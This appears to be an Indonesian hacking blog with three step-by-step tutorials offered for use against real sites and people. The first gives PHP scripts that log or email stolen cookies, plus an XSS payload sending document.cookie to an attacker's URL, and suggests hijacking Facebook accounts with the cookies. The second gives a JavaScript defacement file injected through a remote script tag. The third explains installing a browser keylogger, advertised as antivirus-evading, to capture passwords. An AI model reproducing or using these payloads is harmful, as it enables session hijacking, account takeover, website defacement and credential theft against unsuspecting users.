Pencurian cookie dengan XSS

XSS adalah sebuah kerentanan siitus yang sering saya jumpai pada beberapa situs. Namun kebanyakan Security Researcher memasukan script dengan puncurian cookie. Cookie bisa digunakan untuk mendapatkan Username dan password user, login tanpa harus username dan password, cookie sendiri bisa untuk mendapatkan akun facebook dengan menggunakan tools Wireshark,  tanpa harus mengetahui email dan password korban dengan memanfaatkan Cookie tersebut. Atau di kenal dengan metode Snifers anda bisa mendownload wireshark di postingan saya sebelumnya di top tools Snifers.

---

How to stolen cookie 

---

Disini saya akan menggunakan tiga metode untuk pencurian cookie yaitu :

• Membuat file PHP
• Membuat file Javascript
• Mengirim ke email

1. Untuk pencurian cookie dengan metode PHP anda perlu sebuah web hosting gratis dengan support PHP, karena script PHP akan kita upload pada web hosting tersebut.

Untuk membuat file PHP dengan pencurian cookie anda bisa mengcopy script di bawah ini :

<!–?php
$cookie = $HTTP_GET_VARS["cookie"];
$steal = fopen(“log.txt”, “a”);
fwrite($steal, $cookie .”\n”);
fclose($steal);
?–>

Selanjutnya simpan script tersebut dengan nama terserah anda format file extensi .php,  misal curi.php

setelah file php dibuat selanjutnya membuat file log.txt,  buka program Notepad dan simpan dengan nama log.txt.


setelah dua file terbuat.

• Curi.php
• log.txt

selanjutnya silakan anda upload kedua file tersebut di web hosting gratisan dan ubah CHMOD menjadi 777. Jadi ketika anda memanggil file curi.php, history cookie akan di simpan pada log.txt.

2. Metode yang kedua adalah membuat file javascript dengan pencurian cookie. Berbeda dengan file php javascript akan menampilkan pop-up pada browser , seperti menampilkan Pop-up XSS pada dasarnya. Untuk membuat file cookie dengan extensi  Javascript, silakan anda copy script dibawah ini :

document.write ("Ini adalah Kerentanan XSS menggunakan javascript " + document.cookie);
alert ("Found XSS pada situs ini...! - |@nasrulseven| " + document.cookie);

Simpan dengan nama terserah anda dengan extensi .js, misal xss.js, dan silakan anda upload file javascript terbsut di web hosting yang sama anda buat tadi. Maka hasil code javascript tersebut akan mucul pop-up seperti gambar di bawah ini.

3. Metode yang terakhir adalah mengirimkan cookie tersebut ke alamat email anda. Untuk membuat cookie bisa di kirim ke alamat email anda  silakan copy script php di bawah ini.

<?php
$cookie = $HTTP_GET_VARS["cookie"]; mail(“email_anda@gmail.com”, “Stolen
Cookie XSS”, $cookie);
?>

Untuk yang tulisan dengan font merah silakan anda ganti dengan email anda. Jika email sudah di ganti silakan anda simpan dengan nama send.php atau terserah anda, dan upload. Cookie akan dikirimkan ke email anda ketika anda panggil file send.php. dan hasil cookie akan seperti gambar dibawah.

Untuk memanggil file tersebut bisa gunakan script :

<script>location.href=‘http://www.situsagan.com/file.php?cookie=’+document.cookie;</script>

 Contoh :

htpp://www.situsrentan.com/index.php?search=<script>location.href = ‘http://www.situsgan.com/file.php?cookie=’+document.cookie;</script>


Untuk tiga metode file CHMOD 777.




Enjoy Hacking,,,,

Cara Deface website dengan XSS

Deface adalah suatu seni dari teknik hacking dengan berbagai tools yang tersedia namun kebanyakan situs yang mengalami deface adalah situs  yang rentan terhadap SQLI. Namun ada juga teknik lain yang untuk deface namun kebanyakan untuk orang awam atau newbie biasanya menggunakan tools Hmei7 yang buatan defacer asal Semarang Indonesia. Namun saya tidak mengajari anda untuk berbuat seperti itu. Kali ini saya akan membahas deface dengan teknik XSS. Cara ini sangat mudah untuk anda lakukan, karena hanya sedikit paste script pada website yang rentan dengan XSS.

---

How to deface with XSS

---

Silakan anda cari website yang rentan terhadap XSS, dan untuk mengeceknya pada url anda tulis sedikit script HTML atau pada box pencarian. Namun paling sering yang saya temui kebanyakan pada box pencarian yang rentan terhadap XSS.


Setelah anda mendapatkan situs yang rentan terhadap XSS, silakan anda copy script di bawah ini dan simpan dengan extensi .js atau javascript. Contoh deface.js


var title="XSS Defacement By Nasrul07";var bgcolor="#000000";var image_url="http://s22.postimg.org/dmde9bs8h/acees.gif";var text="Halaman ini Deface by Nasrul07";var font_color="#FF0000";deface(title,bgcolor,image_url,text,font_color,alert);function deface(pageTitle,bgColor,imageUrl,pageText,fontColor,Alert){document.title=pageTitle;document.body.innerHTML='';document.bgColor=bgColor;var overLay=document.createElement("div");overLay.style.textAlign='center';document.body.appendChild(overLay);var txt=document.createElement("p");txt.style.font='normal normal bold 36px Verdana';txt.style.color=fontColor;txt.innerHTML=pageText;overLay.appendChild(txt);if(image_url!=""){var newImg=document.createElement("img");newImg.setAttribute("border",'0');newImg.setAttribute("src",imageUrl);overLay.appendChild(newImg);} var footer=document.createElement("p");footer.style.font='italic normal normal 12px Arial';footer.style.color='#DDDDDD';footer.innerHTML=title;overLay.appendChild(footer);}
Untuk nama dan gambar anda bisa mengganti dengan yang anda inginkan.


Selanjutnya anda Upload file Javascript tersebut di hosting gratisan.

Jika sudah selesai anda panggil script tersebut dengan perintah :

<script src=http://yoursite.com/your_files.js></script>

Contoh saya mengupload file deface.js di website saya http://nasrulsevenfoldism.tk/deface.js, maka perintahnya adalah :

<script src=http://nasrulsevenfoldism.tk/deface.js></script>

Selanjutnya anda paste script tersebut pada box pencarian, contact atau pada address bar dan lainya. Dan hasilnya akan tampak seperti gambar dibawah ini :

Enjoy Hacking.,,,,

Hack password dengan Xenotix keylogger

Banyak orang ingin mendapatkan password mulai dari situs paypal, facebook, gmail,yahoo dan masih banyak lagi. Sebagian orang ingin mendapatkan password dengan cara keylogger, Phising, Sosial Engginering dan lainya. Namun metode keylogger kali ini berbeda dengan lainya, yaitu dengan menggunakan sebuah browser Firefox untuk mendapatkan apa yang di ketikan di browser. Ketika orang mengunjungi sebuah situs facebook dan mereka login maka keylogger ini mencapture setiap ketikan. Dan pemilik komputer tersebut bisa mendapatkan data pengguna apa saja yang mereka ketikan di browser tersebut, bahkan password. Untuk bisa mendapatkan password pada browser anda hanya perlu sebuah add-ons.

Features :

Set Password.
Bypass Key Scrambler.
Bypass Virtual Keyboard.
Undetectable by Anti-Virus.

How to hack password with Xenotix Keylogger


Step 1 : Silakan anda download dahulu Add-ons disini dan anda install.

Step 2 : Setelah anda download dan install maka akan muncul Pop-up untuk membuat password. Password ini akan digunakan melihat Log atau catatan apa saja yang di capture di firefox.

Step 3 : Selanjutnya coba anda mengunjugi sebuah situs atau situs yang ada form Login. Sebagai contoh saya mengunjungi situs facebook, dan saya memasukan email dan password maka Xenotix Keylogger akan mencatat nama situs, Email, dan Password.

untuk bisa melihat data Capture atau log anda tekan  " Shift+Alt+\"  pada keyboard (tanpa tanda ketik).


maka akan muncul pop-up, dan silakan anda masukan password yang anda buat tadi pada Step 2.

dan data email dan password pada situs facebook tadi akan terihat.

Enjoy Hacking,,,,,,,